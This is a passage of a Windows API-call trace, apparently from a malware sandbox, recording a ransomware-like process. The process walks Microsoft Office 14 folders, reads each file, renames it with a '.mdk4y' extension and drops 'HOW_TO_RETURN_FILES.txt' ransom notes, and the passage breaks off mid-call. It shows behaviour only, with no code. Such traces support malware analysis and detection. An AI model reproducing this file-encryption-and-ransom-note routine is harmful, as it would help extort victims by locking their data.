dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6a207c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6p\x10)l", lpUsedDefaultChar=0x37de34) returned 1 [0223.600] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0223.601] AreFileApisANSI () returned 1 [0223.601] GetACP () returned 0x4e4 [0223.601] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6a207c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6p\x10)l", lpUsedDefaultChar=0x37de34) returned 2 [0223.601] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0223.601] AreFileApisANSI () returned 1 [0223.601] GetACP () returned 0x4e4 [0223.601] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Microsoft.Office.Infopath.dll", cchWideChar=29, lpMultiByteStr=0x6a207c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="Microsoft.Office.Infopath.dllw5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6p\x10)l", lpUsedDefaultChar=0x37de34) returned 29 [0223.601] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0223.601] AreFileApisANSI () returned 1 [0223.601] GetACP () returned 0x4e4 [0223.601] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Microsoft.Office.InfoPath.xml", cchWideChar=29, lpMultiByteStr=0x6a207c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="Microsoft.Office.InfoPath.xml", lpUsedDefaultChar=0x37de34) returned 29 [0223.601] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\Microsoft.Office.InfoPath.xml" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\infopathomformservicesv12\\microsoft.office.infopath.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0223.603] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1829883300000) returned 1 [0223.603] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x3dddf, lpOverlapped=0x0) returned 1 [0223.636] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1829886600000) returned 1 [0223.636] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1829886600000) returned 1 [0223.638] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\Microsoft.Office.InfoPath.xml" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\infopathomformservicesv12\\microsoft.office.infopath.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\Microsoft.Office.InfoPath.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\infopathomformservicesv12\\microsoft.office.infopath.xml.mdk4y")) returned 1 [0223.640] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 0 [0223.640] FindClose (in: hFindFile=0x6ab390 | out: hFindFile=0x6ab390) returned 1 [0223.643] AreFileApisANSI () returned 1 [0223.643] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6cd010, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 127 [0223.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\infopathomformservicesv12\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37db6c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe0 [0223.656] GetFileType (hFile=0xe0) returned 0x1 [0223.657] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0223.657] AreFileApisANSI () returned 1 [0223.657] GetACP () returned 0x4e4 [0223.657] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Microsoft.Office.Infopath.dll", cchWideChar=29, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Microsoft.Office.Infopath.dllw5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6p\x88$l", lpUsedDefaultChar=0x37dec0) returned 29 [0223.657] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0223.657] AreFileApisANSI () returned 1 [0223.657] GetACP () returned 0x4e4 [0223.657] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Microsoft.Office.InfoPath.xml", cchWideChar=29, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Microsoft.Office.InfoPath.xml", lpUsedDefaultChar=0x37dec0) returned 29 [0223.657] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\Microsoft.Office.InfoPath.xml" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\microsoft.office.infopath.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0223.658] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829888800000) returned 1 [0223.658] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x3dddf, lpOverlapped=0x0) returned 1 [0223.670] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829890000000) returned 1 [0223.670] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829890000000) returned 1 [0223.672] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\Microsoft.Office.InfoPath.xml" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\microsoft.office.infopath.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\Microsoft.Office.InfoPath.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\microsoft.office.infopath.xml.mdk4y")) returned 1 [0223.674] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 0 [0223.674] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0223.675] AreFileApisANSI () returned 1 [0223.675] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x692108, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 101 [0223.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd8 [0223.677] GetFileType (hFile=0xd8) returned 0x1 [0223.686] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0223.686] AreFileApisANSI () returned 1 [0223.686] GetACP () returned 0x4e4 [0223.686] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="InfoPathOMV12", cchWideChar=13, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="InfoPathOMV12mServices", lpUsedDefaultChar=0x37df4c) returned 13 [0223.686] AreFileApisANSI () returned 1 [0223.686] GetACP () returned 0x4e4 [0223.686] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a9898, cbMultiByte=68, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\") returned 68 [0223.686] AreFileApisANSI () returned 1 [0223.686] GetACP () returned 0x4e4 [0223.686] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dec0) returned 1 [0223.686] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0223.687] AreFileApisANSI () returned 1 [0223.687] GetACP () returned 0x4e4 [0223.687] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dec0) returned 2 [0223.687] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0223.687] AreFileApisANSI () returned 1 [0223.687] GetACP () returned 0x4e4 [0223.687] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Microsoft.Office.Infopath.dll", cchWideChar=29, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Microsoft.Office.Infopath.dllw5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dec0) returned 29 [0223.687] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0223.687] AreFileApisANSI () returned 1 [0223.687] GetACP () returned 0x4e4 [0223.687] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Microsoft.Office.InfoPath.xml", cchWideChar=29, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Microsoft.Office.InfoPath.xml", lpUsedDefaultChar=0x37dec0) returned 29 [0223.687] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\Microsoft.Office.InfoPath.xml" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomv12\\microsoft.office.infopath.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0223.689] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829891900000) returned 1 [0223.689] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x3dddf, lpOverlapped=0x0) returned 1 [0223.747] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829897700000) returned 1 [0223.747] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829897700000) returned 1 [0223.749] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\Microsoft.Office.InfoPath.xml" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomv12\\microsoft.office.infopath.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\Microsoft.Office.InfoPath.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomv12\\microsoft.office.infopath.xml.mdk4y")) returned 1 [0223.751] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 0 [0223.752] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0223.752] AreFileApisANSI () returned 1 [0223.752] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x692108, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 92 [0223.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomv12\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd8 [0223.769] GetFileType (hFile=0xd8) returned 0x1 [0223.770] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0223.770] AreFileApisANSI () returned 1 [0223.770] GetACP () returned 0x4e4 [0223.770] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Microsoft.Office.Infopath.dll", cchWideChar=29, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Microsoft.Office.Infopath.dll", lpUsedDefaultChar=0x37df4c) returned 29 [0223.770] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0223.770] AreFileApisANSI () returned 1 [0223.770] GetACP () returned 0x4e4 [0223.770] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Microsoft.Office.InfoPath.xml", cchWideChar=29, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Microsoft.Office.InfoPath.xml", lpUsedDefaultChar=0x37df4c) returned 29 [0223.770] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\Microsoft.Office.InfoPath.xml" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\microsoft.office.infopath.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0223.772] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1829900200000) returned 1 [0223.772] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3dddf, lpOverlapped=0x0) returned 1 [0223.785] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1829901500000) returned 1 [0223.786] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1829901600000) returned 1 [0223.788] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\Microsoft.Office.InfoPath.xml" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\microsoft.office.infopath.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\Microsoft.Office.InfoPath.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\microsoft.office.infopath.xml.mdk4y")) returned 1 [0223.790] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 0 [0223.790] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0223.791] AreFileApisANSI () returned 1 [0223.791] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b9f70, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 78 [0223.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0223.791] GetFileType (hFile=0x12c) returned 0x1 [0223.792] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0223.792] AreFileApisANSI () returned 1 [0223.792] GetACP () returned 0x4e4 [0223.792] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="INLAUNCH.DLL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="INLAUNCH.DLL", lpUsedDefaultChar=0x37dfd8) returned 12 [0223.792] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\INLAUNCH.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\inlaunch.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0223.794] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829902400000) returned 1 [0223.794] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x7bb78, lpOverlapped=0x0) returned 1 [0223.821] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829905100000) returned 1 [0223.821] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829905100000) returned 1 [0223.826] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\INLAUNCH.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\inlaunch.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\INLAUNCH.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\inlaunch.dll.mdk4y")) returned 1 [0223.828] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0223.828] AreFileApisANSI () returned 1 [0223.828] GetACP () returned 0x4e4 [0223.828] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Installed_resources14.xss", cchWideChar=25, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Installed_resources14.xssrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pàzk", lpUsedDefaultChar=0x37dfd8) returned 25 [0223.828] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Installed_resources14.xss" (normalized: "c:\\program files\\microsoft office\\office14\\installed_resources14.xss"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0223.829] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829905900000) returned 1 [0223.829] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0223.854] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829908400000) returned 1 [0223.854] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829908400000) returned 1 [0223.869] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Installed_resources14.xss" (normalized: "c:\\program files\\microsoft office\\office14\\installed_resources14.xss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Installed_resources14.xss.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\installed_resources14.xss.mdk4y")) returned 1 [0223.872] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0223.872] AreFileApisANSI () returned 1 [0223.872] GetACP () returned 0x4e4 [0223.872] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Installed_schemas14.xss", cchWideChar=23, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Installed_schemas14.xssss", lpUsedDefaultChar=0x37dfd8) returned 23 [0223.872] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Installed_schemas14.xss" (normalized: "c:\\program files\\microsoft office\\office14\\installed_schemas14.xss"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0223.872] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829910400000) returned 1 [0223.874] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x85000, lpOverlapped=0x0) returned 1 [0223.879] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829910900000) returned 1 [0223.879] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829910900000) returned 1 [0223.883] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Installed_schemas14.xss" (normalized: "c:\\program files\\microsoft office\\office14\\installed_schemas14.xss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Installed_schemas14.xss.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\installed_schemas14.xss.mdk4y")) returned 1 [0223.885] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0223.885] AreFileApisANSI () returned 1 [0223.885] GetACP () returned 0x4e4 [0223.885] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="INTLDATE.DLL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="INTLDATE.DLLhemas14.xss", lpUsedDefaultChar=0x37dfd8) returned 12 [0223.885] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\INTLDATE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\intldate.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0223.886] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829911600000) returned 1 [0223.886] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x17380, lpOverlapped=0x0) returned 1 [0223.891] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829912100000) returned 1 [0223.892] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829912200000) returned 1 [0223.892] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\INTLDATE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\intldate.dll"), lpNewFileName="C:\\Program Files\\Microsoft 